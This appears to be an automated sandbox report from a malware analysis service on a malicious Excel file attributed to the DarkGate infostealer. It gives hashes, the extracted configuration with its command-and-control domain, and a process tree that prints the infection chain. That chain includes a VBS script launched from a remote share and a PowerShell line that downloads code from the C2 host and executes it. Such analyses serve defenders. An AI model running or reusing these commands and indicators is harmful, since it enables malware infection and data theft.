Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    134s
  • max time network
    144s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28/02/2024, 21:20

General

  • Target

    scan-28-02-24_4761.xlsx

  • Size

    29KB

  • MD5

    78d125fd15824e5ca1a3f7d99d7d8e54

  • SHA1

    e905149cd68a5961ee9fb4760c29f17b3fa6b524

  • SHA256

    535dd498b529c109d05d517f329897f64fd15ea57f841f4deb111262b011fc60

  • SHA512

    266620784bb52ebbec6e533ca306bca8f753b311a6a76dcd3759e0614bf6f64dc124363b747fbfecc09fab3edd4da2c4e0908ae9a04a67c5438e6a0bbba63fd3

  • SSDEEP

    768:wnEQpllh7tAafroiianGoHoJ+yWWn0Wht3p1:nQJh7Lro4ntD+0AZ1

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

cayennesxque.boo

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    true

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    ekoRFSqn

  • minimum_disk

    50

  • minimum_ram

    7000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_4761.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\temp\AutoIt3.exe
          "C:\temp\AutoIt3.exe" script.a3x
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:2848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1yeka3z.2hz.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\script.a3x

    Filesize

    468KB

    MD5

    5dc0a5b884e44209941ec370406fbcc5

    SHA1

    b06cf5d11a5a7252afff61c1a787fb27ff126e28

    SHA256

    68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9

    SHA512

    0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53

  • C:\temp\test.txt

    Filesize

    76B

    MD5

    8b428b9d5c33c6ed79386d4c10600cd8

    SHA1

    0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e

    SHA256

    424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6

    SHA512

    307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892

  • memory/1328-24-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-28-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-6-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-8-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-10-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-11-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-12-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-14-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-13-0x00007FFEBF6F0000-0x00007FFEBF700000-memory.dmp

    Filesize

    64KB

  • memory/1328-15-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-16-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-17-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-18-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-19-0x00007FFEBF6F0000-0x00007FFEBF700000-memory.dmp

    Filesize

    64KB

  • memory/1328-21-0x00007FFF02960000-0x00007FFF02A0E000-memory.dmp

    Filesize

    696KB

  • memory/1328-20-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-22-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-27-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-0-0x00007FFEC2E90000-0x00007FFEC2EA0000-memory.dmp

    Filesize

    64KB

  • memory/1328-25-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-4-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-26-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-23-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-179-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-182-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-2-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-1-0x00007FFEC2E90000-0x00007FFEC2EA0000-memory.dmp

    Filesize

    64KB

  • memory/1328-3-0x00007FFEC2E90000-0x00007FFEC2EA0000-memory.dmp

    Filesize

    64KB

  • memory/1328-191-0x00007FFF02E00000-0x00007FFF02FDB000-memory.dmp

    Filesize

    1.9MB

  • memory/1328-192-0x00007FFF02960000-0x00007FFF02A0E000-memory.dmp

    Filesize

    696KB

  • memory/1328-5-0x00007FFEC2E90000-0x00007FFEC2EA0000-memory.dmp

    Filesize

    64KB

  • memory/1976-193-0x000001FC44480000-0x000001FC44490000-memory.dmp

    Filesize

    64KB

  • memory/1976-190-0x000001FC44980000-0x000001FC449F6000-memory.dmp

    Filesize

    472KB

  • memory/1976-210-0x000001FC44480000-0x000001FC44490000-memory.dmp

    Filesize

    64KB

  • memory/1976-215-0x000001FC450E0000-0x000001FC452A2000-memory.dmp

    Filesize

    1.8MB

  • memory/1976-189-0x000001FC44480000-0x000001FC44490000-memory.dmp

    Filesize

    64KB

  • memory/1976-247-0x000001FC44480000-0x000001FC44490000-memory.dmp

    Filesize

    64KB

  • memory/1976-188-0x00007FFEDCCC0000-0x00007FFEDD6AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1976-185-0x000001FC2C2C0000-0x000001FC2C2E2000-memory.dmp

    Filesize

    136KB

  • memory/1976-254-0x00007FFEDCCC0000-0x00007FFEDD6AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2848-256-0x0000000004350000-0x0000000005320000-memory.dmp

    Filesize

    15.8MB

  • memory/2848-257-0x0000000005840000-0x0000000005B8F000-memory.dmp

    Filesize

    3.3MB

  • memory/2848-258-0x0000000005840000-0x0000000005B8F000-memory.dmp

    Filesize

    3.3MB